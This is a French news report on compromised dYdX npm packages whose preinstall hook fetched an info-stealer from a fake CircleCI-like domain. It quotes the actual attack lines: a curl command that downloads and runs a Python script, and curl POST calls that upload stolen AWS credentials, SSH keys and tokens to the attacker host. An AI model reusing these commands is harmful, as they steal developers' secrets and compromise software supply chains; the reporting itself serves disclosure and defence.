Plusieurs packages npm publiés par l’échange de crypto, dYdX, et utilisés par au moins 44 projets de crypto-monnaie semblent avoir été compromis.
Propulsé par la blockchain Ethereum, dydX est une plateforme d’échange décentralisée offrant des options de trading perpétuelles pour plus de 35 crypto-monnaies populaires, dont Bitcoin (BTC) et Ether (ETH). Au moment de la rédaction de cet article, nous avons observé que le volume quotidien moyen des transactions de la plateforme atteignait 1 milliard de dollars.
Les packages en question ont été publiés à partir du compte npm d’un membre du personnel de dYdX et contiennent du code illicite qui exécuterait des voleurs d’informations sur un système une fois installé.
Paquets npm utilisés par l’échange de chiffrement compromis
Chercheur en sécurité Maciej Mensfeld de la société de sécurité de la chaîne d’approvisionnement en logiciels Mend et créateur de Diffend.io, ont signalé avoir rencontré plusieurs packages npm qui ont été compromis et ont secrètement installé des voleurs d’informations.
Les packages en question, illustrés ci-dessous, semblent avoir été publiés à partir du compte npm d’un employé de la plate-forme de chiffrement dYdX, a observé BleepingComputer, bien que la cause exacte de ce compromis reste à déterminer :
- @dydxprotocol/solo – versions 0.41.1, 0.41.2
- @dydxprotocol/perpetual – versions 1.2.2, 1.2.3
Un avis antérieur affirmait que le package ‘@dydxprotocol/node-service-base-dev’ était également affecté, mais il a depuis été retiré.
BleepingComputer a observé que la version 0.41.1 compromise du package ‘solo’ était toujours active sur npm au moment de la rédaction :
Ces packages constituent la « bibliothèque Ethereum Smart Contracts et TypeScript utilisée pour le protocole de trading solo dYdX ».
Le package solo, par exemple, est utilisé par au moins 44 référentiels GitHub appartenant à plusieurs plates-formes cryptographiques. GitHub README pour les états « solo » et « perpétuel » « actuellement utilisé par trade.dydx.exchange. »
Faux domaine CDN « Circle » utilisé pour voler des identifiants AWS IAM, des clés SSH et des jetons GitHub
Mensfeld a partagé le morceau de code problématique injecté dans le fichier manifeste du paquet ‘solo’, par exemple.
Dès que le package ‘solo’ est installé, un préinstaller le script déclencherait, téléchargeant et exécutant le contenu du ci.js Fichier JavaScript hébergé sur api.circle-cdn.com.
Les enregistrements du domaine public consultés par BleepingComputer indiquent que « circle-cdn.com » a été enregistré assez récemment, le 14 septembre.
Le nom de domaine et l’utilisation de « ci.js » dans le nom du fichier malveillant sont probablement des tentatives de l’auteur de la menace d’imiter CircleCI, une plate-forme de développement de logiciels CI/CD (intégration continue et livraison continue). En revanche, l’API officielle de CircleCI est hébergée par Cloudflare et accessible sur circleci.com/api/v2/pipeline.
« En regardant le diff ici… un préinstaller a été ajouté », a écrit Mensfeld dans un numéro GitHub alertant la communauté dYdX après avoir pas de chance d’atteindre la plate-forme.
« Mais ce script contient un code qui semble malveillant… Il semble voler des informations d’identification et d’autres secrets », a expliqué le chercheur.
BleepingComputer a observé que le ci.js script tiré par les versions compromises, comme indiqué ci-dessous, télécharge et exécute encore un autre script Python, setup.py
curl http://api.circle-cdn.com/setup.py –output cisetup.py >> /dev/null 2>&1 && python3 cisetup.py && rm cisetup.py
C’est ce « setup.py » avec le code de vol d’informations qui exfiltre les informations d’identification IAM de l’instance Amazon AWS de la victime, entre autres secrets.
L’adresse IP 169.254.xx indiquée ci-dessous, à laquelle le code malveillant se connecte, est le résultat d’une fonctionnalité appelée Automatic Private IP Addressing (APIPA).
APIPA est invoquée lorsqu’un ordinateur configuré pour obtenir une adresse IP automatique via DHCP est incapable de le faire à partir du serveur DHCP.
Les documents publiés par Amazon AWS montrent comment cette adresse IP est pertinente dans le contexte IAM plus large.
De plus, le code vole les jetons GitHub de l’utilisateur, les clés SSH, les variables d’environnement, ainsi que l’adresse IP externe.
Les données volées sont ensuite téléchargées sur le même api.circle-cdn.com domaine:
subprocess.getoutput(« curl -X POST http://api.circle-cdn.com/uploader.php -F ‘uploaded_file=@ » + filename2 + « ‘ -F ‘submit=Upload' »)
subprocess.getoutput(‘curl -X POST http://api.circle-cdn.com/api.php -d « textdata= » + allen + « »‘)
BleepingComputer a observé que le code malveillant est étonnamment identique à celui observé par le passé, impliquant les packages Python malveillants « PyGrata » qui ont également volé les informations d’identification AWS, les variables d’environnement et les clés SSH de la victime.
L’architecte en chef de dYdX, Brendan Chou, a remercié Mensfeld d’avoir rapidement signalé le compromis et a confirmé que « tous [compromised versions] ont été supprimés sauf solo@0.41.1 », attribuant cela à ce qui semble être « un oubli temporaire » de la part de npm.
BleepingComputer a contacté dYdX par e-mail et Twitter avant la publication, afin de mieux comprendre l’impact et la portée de ce compromis.
Bien que nous n’ayons pas encore reçu de réponse, la société a confirmé que l’incident n’avait pas eu d’impact sur ses sites Web, ses applications, ses contrats intelligents ou ses fonds, et qu’elle prévoyait de publier un rapport post-mortem sur l’incident :
À 6 h 14 HNE, nous avons identifié des versions malveillantes publiées sur un certain nombre de packages dYdX NPM qui ont été rapidement supprimés.
Tous les fonds sont SÛRS
Nos sites Web/applications n’ont PAS été compromis
L’attaque n’a PAS eu d’impact sur les contrats intelligentsNous ferons un suivi avec une autopsie dès que possible
— dYdX (@dYdX) 23 septembre 2022
Cet incident fait suite au piratage de l’année dernière des bibliothèques npm populaires « ua-parser-js », « coa » et « rc », qui étaient truffées de crypto-mineurs et de voleurs de mots de passe. Il y a quelques semaines à peine, des packages PyPI ont été piratés à la suite d’une campagne de phishing ciblant les développeurs.
De telles menaces à la chaîne d’approvisionnement en logiciels ces derniers temps ont incité les principaux registres open source comme npm et PyPI à rendre obligatoire l’authentification à deux facteurs pour les mainteneurs responsables des bibliothèques les plus largement utilisées.
Mise à jour du 24 septembre 2022 à 13 h 14 HE : Ajout d’une déclaration de dYdX publiée sur Twitter.